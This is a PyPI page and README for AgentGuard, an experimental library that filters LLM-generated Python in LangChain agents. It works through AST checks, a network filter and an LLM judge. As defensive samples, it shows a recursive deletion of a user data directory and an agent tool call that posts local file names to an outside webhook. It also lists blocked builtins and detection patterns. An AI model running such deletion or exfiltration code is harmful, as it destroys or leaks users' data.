๐ก๏ธ AgentGuard
Experimental security guardrails for LangChain agent code execution.
[!WARNING] Alpha / Proof of Concept โ This project is an experimental research tool, not a production-grade security boundary. The current in-process execution model has known limitations. Use it as an additional layer of defense, not as your only one.
๐ค The Problem
Modern LangChain agents can generate and execute Python code autonomously. A single malicious prompt or hallucination can lead an agent to generate destructive code:
# An agent asked to "clean up temp files" might generate:
import os
import shutil
shutil.rmtree("/var/data/users") # ๐ Oops.
There is no native guardrail in LangChain to prevent this. AgentGuard adds pre-execution filters to catch obvious dangerous patterns before they run.
โ What It Does
AgentGuard wraps your agent's code execution tool in a 3-layer validation pipeline. Before any LLM-generated code runs, it must pass through all three layers:
flowchart TD
A["๐ค LLM Agent generates code"] --> B{"๐ Layer 1: AST Validator"}
B -->|"โ
Pass"| C{"๐ Layer 2: Network Filter"}
B -->|"โ Blocked"| E["๐ก๏ธ SecurityBlockedError\nโ Agent self-corrects"]
C -->|"โ
Pass"| D{"๐ง Layer 3: Semantic Judge"}
C -->|"โ Blocked"| E
D -->|"โ
SAFE"| F["โก Restricted exec()\nโ Result back to Agent"]
D -->|"โ UNSAFE"| E
style A fill:#4a9eff,color:#fff
style B fill:#ff9f43,color:#fff
style C fill:#ff9f43,color:#fff
style D fill:#ff9f43,color:#fff
style E fill:#ee5a24,color:#fff
style F fill:#2ed573,color:#fff
If any layer blocks the code, the agent receives a descriptive error message and can self-correct โ instead of crashing or failing silently.
๐ก๏ธ How It Works in Action
> Entering new AgentExecutor chain...
Thought: I need to read the local files and send them to a webhook.
Action: safe_python_repl
Action Input:
import os
import requests
files = os.listdir('.')
requests.post('https://webhook.site/test', json={"files": files})
Observation: [AgentGuard | AST Validator] ๐ด BLOCKED โ Forbidden import
detected: 'os'. Rewrite the code without the forbidden operation.
Thought: I am not allowed to use the 'os' module. I cannot fulfill this
request as it requires system access.
Final Answer: ๐ I am restricted from accessing the local file system or
sending data to external webhooks due to security policies.
๐ Quick Start
pip install securellm-agentguard
from agentguard import SafePythonREPLTool, SecurityPolicy
# Define your security rules
policy = SecurityPolicy(
allowed_modules=["pandas", "json", "math"],
allowed_domains=["api.github.com"],
use_semantic_judge=False, # Set True + pass judge_llm for Layer 3
)
safe_repl = SafePythonREPLTool(policy=policy)
# Use it in your LangChain agent instead of PythonREPLTool
# agent = create_react_agent(llm=your_llm, tools=[safe_repl])
With Layer 3 (optional โ any LangChain-compatible LLM):
from langchain_google_genai import ChatGoogleGenerativeAI # or ChatOpenAI, ChatAnthropic, etc.
judge_llm = ChatGoogleGenerativeAI(model="gemini-2.0-flash")
safe_repl = SafePythonREPLTool(policy=policy, judge_llm=judge_llm)
Note: Layer 3 works with any
BaseChatModelโ Gemini, GPT-4, Claude, Mistral, Ollama, etc.
โ๏ธ SecurityPolicy Options
| Parameter | Type | Default | Description |
|---|---|---|---|
allowed_modules |
list[str] |
["math", "json", ...] |
Whitelisted Python modules |
allowed_domains |
list[str] |
[] (block all) |
Whitelisted network domains |
use_semantic_judge |
bool |
True |
Enable LLM semantic analysis |
execution_timeout |
int |
10 |
Max execution seconds |
๐ Security Layers in Detail
Layer 1 โ AST Static Validator
Uses Python's native ast module to parse the code without executing it.
Blocks:
- Any
importnot explicitly whitelisted inallowed_modules from X import Ystyle imports of non-whitelisted modules- Dangerous built-in calls:
exec,eval,compile,open,__import__ - Common escape vectors:
getattr,setattr,delattr,globals,locals
Speed: ~0.1ms โ no I/O, no network, pure AST traversal.
Layer 2 โ Network Filter
Uses regex patterns to detect outbound network calls and validates target domains against the whitelist.
Detects:
requests.get/post/put/delete/patch/headhttpxandaiohttpcallsurllib.request.urlopenandurlretrieve- Raw
socket.connect()calls - Bare URL literals (
https://...)
Note: This is a heuristic regex-based filter, not an OS-level network control. Sophisticated obfuscation may evade it โ Layer 3 exists to catch what Layers 1 & 2 miss.
Layer 3 โ Semantic Judge (LLM)
For subtle attacks that evade static analysis (e.g. a loop that deletes files one-by-one), the code is sent to a fast LLM (e.g. gemini-2.0-flash) with a strict binary prompt.
Verdict: Only code classified as SAFE passes. Anything else (including ambiguous responses) is blocked โ fail-closed by design.
Note: The LLM judge is a probabilistic defense โ it can be wrong. It also sends code to a third-party API. Use it as an additional signal, not as a guarantee.
Restricted Execution
Code that passes all 3 layers runs in a restricted in-process environment:
- Safe builtins only โ
print,len,range, etc. (noexec,eval,open) - Controlled
__import__โ only policy-whitelisted modules can be imported - stdout capture โ
print()output is returned to the agent - Timeout enforcement โ configurable via
execution_timeout
โ ๏ธ Known Limitations
This is an alpha-stage research project. The following limitations are known:
| Limitation | Detail |
|---|---|
| In-process execution | Code runs via exec() in a restricted builtins dict, not in a separate process or container. A determined attacker could escape via object introspection chains on authorized modules. |
| Thread-based timeout | Python threads cannot be forcibly killed. After a timeout, the code may continue running in the background. |
| Regex-based network filter | The network filter is heuristic. Obfuscated URLs or dynamically-constructed network calls will not be caught by Layer 2. |
| LLM judge is probabilistic | The semantic judge can be wrong, manipulated, or bypassed. It also sends code to a third-party API. |
Planned for v0.2: Subprocess/container-based isolation with OS-level controls, adversarial test suite, and killable execution.
๐ Project Structure
agentguard/
โโโ agentguard/
โ โโโ __init__.py # Public API exports
โ โโโ policy.py # SecurityPolicy (Pydantic model)
โ โโโ exceptions.py # SecurityBlockedError
โ โโโ validators/
โ โ โโโ ast_validator.py # Layer 1: Static AST analysis
โ โ โโโ network_filter.py # Layer 2: Network domain filter
โ โโโ judges/
โ โ โโโ gemini_judge.py # Layer 3: LLM semantic judge
โ โโโ tools/
โ โโโ langchain_tool.py # SafePythonREPLTool (LangChain BaseTool)
โโโ tests/ # Pytest suite (mocked LLM for Layer 3)
โโโ examples/
โ โโโ basic_agent.py # Simple agent + AgentGuard demo
โ โโโ threat_intel_demo.py # Threat analysis agent demo
โโโ pyproject.toml # Poetry config + metadata
โโโ .github/workflows/ci.yml # GitHub Actions CI
โโโ README.md
๐บ๏ธ Roadmap
- 3-layer validation pipeline (AST + Network + Semantic Judge)
- LangChain
BaseToolintegration - Restricted execution with safe builtins
- Timeout enforcement
- GitHub Actions CI
- PyPI Publication โ
pip install securellm-agentguard - Live Web App / Dashboard โ a static browser app to visually test AgentGuard policies
- Visual Demo โ add an animated GIF showing AgentGuard blocking and auto-correcting in real-time
- CLI Support โ run AgentGuard locally on Python scripts (e.g.,
agentguard check script.py) - Process/Container Isolation โ replace in-process exec with a killable subprocess or ephemeral container (v0.2)
- Adversarial Test Suite โ sandbox escape tests, obfuscation tests, resource abuse tests
- Logging & Audit Trail โ structured logs of every blocked/allowed execution
- Plugin System โ custom validator layers via a simple interface
- LangSmith Integration โ trace security events in LangSmith
๐ค Contributing
Contributions are welcome! Please read CONTRIBUTING.md first.
๐ Security
Found a vulnerability? Please read SECURITY.md for responsible disclosure instructions.
๐ License
MIT โ see LICENSE.
Built by Thomas LEON ยท Emerging Technologies & Threat Intelligence
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file securellm_agentguard-0.1.2.tar.gz.
File metadata
- Download URL: securellm_agentguard-0.1.2.tar.gz
- Upload date:
- Size: 16.8 kB
- Tags: Source
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.14
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
0d910f8d393bbfd494bac5d30ad6903f81c7488d8ea6f8f4e6354c6d23e167a3
|
|
| MD5 |
1162642d235cc0e37e3227373ddbba20
|
|
| BLAKE2b-256 |
b20abb571cb8aed62449212c34e13fcde5e5a3f96ff3c58a893b5a0007a43622
|
Provenance
The following attestation bundles were made for securellm_agentguard-0.1.2.tar.gz:
Publisher:
publish.yml on Thomas-LEON/agentguard
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
securellm_agentguard-0.1.2.tar.gz -
Subject digest:
0d910f8d393bbfd494bac5d30ad6903f81c7488d8ea6f8f4e6354c6d23e167a3 - Sigstore transparency entry: 2233286577
- Sigstore integration time:
-
Permalink:
Thomas-LEON/agentguard@cd22dfdce5456f6a393f9c25cce9326817aada79 -
Branch / Tag:
refs/tags/v0.1.2 - Owner: https://github.com/Thomas-LEON
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@cd22dfdce5456f6a393f9c25cce9326817aada79 -
Trigger Event:
release
-
Statement type:
File details
Details for the file securellm_agentguard-0.1.2-py3-none-any.whl.
File metadata
- Download URL: securellm_agentguard-0.1.2-py3-none-any.whl
- Upload date:
- Size: 17.4 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.14
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
304f91de5f7ebf8d8379409d70490319636321122fa557f5276fd496b7abc575
|
|
| MD5 |
450215427d9259877c4e9409bed3e5f9
|
|
| BLAKE2b-256 |
150fbce028b6194516f301024ce268bc055535dc110109669923a95e2238865c
|
Provenance
The following attestation bundles were made for securellm_agentguard-0.1.2-py3-none-any.whl:
Publisher:
publish.yml on Thomas-LEON/agentguard
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
securellm_agentguard-0.1.2-py3-none-any.whl -
Subject digest:
304f91de5f7ebf8d8379409d70490319636321122fa557f5276fd496b7abc575 - Sigstore transparency entry: 2233286952
- Sigstore integration time:
-
Permalink:
Thomas-LEON/agentguard@cd22dfdce5456f6a393f9c25cce9326817aada79 -
Branch / Tag:
refs/tags/v0.1.2 - Owner: https://github.com/Thomas-LEON
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@cd22dfdce5456f6a393f9c25cce9326817aada79 -
Trigger Event:
release
-
Statement type: